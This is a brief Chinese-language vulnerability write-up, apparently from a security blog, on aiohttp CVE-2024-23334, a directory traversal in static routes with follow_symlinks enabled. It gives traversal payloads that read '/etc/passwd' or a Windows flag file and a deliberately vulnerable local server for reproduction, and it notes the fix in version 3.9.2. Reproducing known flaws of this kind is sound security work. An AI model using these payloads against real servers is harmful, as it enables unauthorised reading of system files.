aiohttp CVE-2024-23334

漏洞简介

aiohttp 是一个用于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。使用aiohttp作为Web服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查读取的文件是否位于根目录内。这可能会导致目录遍历漏洞,从而导致对系统上的任意文件进行未经授权的访问,即使符号链接不存在也是如此。鼓励缓解措施是禁用 follow_symlinks 并使用反向代理。

漏洞细节

poc

1
Poc for windows: /static/../D:\flag.txt 
1
Poc for Linux: /static/../../../../etc/passwd [need to fuzz "../"]

复现

创建web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
from aiohttp import web

async def index(request):
return web.Response(text="Hello, World!")

app = web.Application()
app.router.add_routes([
web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)

if __name__ == '__main__':
web.run_app(app, host='127.0.0.1', port=8080)

同级目录创建static文件夹,运行py文件

image-20240228111248058

测试poc

正常访问文件夹里的文件2.txt,结果如下

image-20240228111315858

使用poc尝试目录穿越,注意要用bp或者其他改包工具,浏览器会直接吃掉../../

image-20240228112049469

修复

版本 3.9.2 修复了此问题。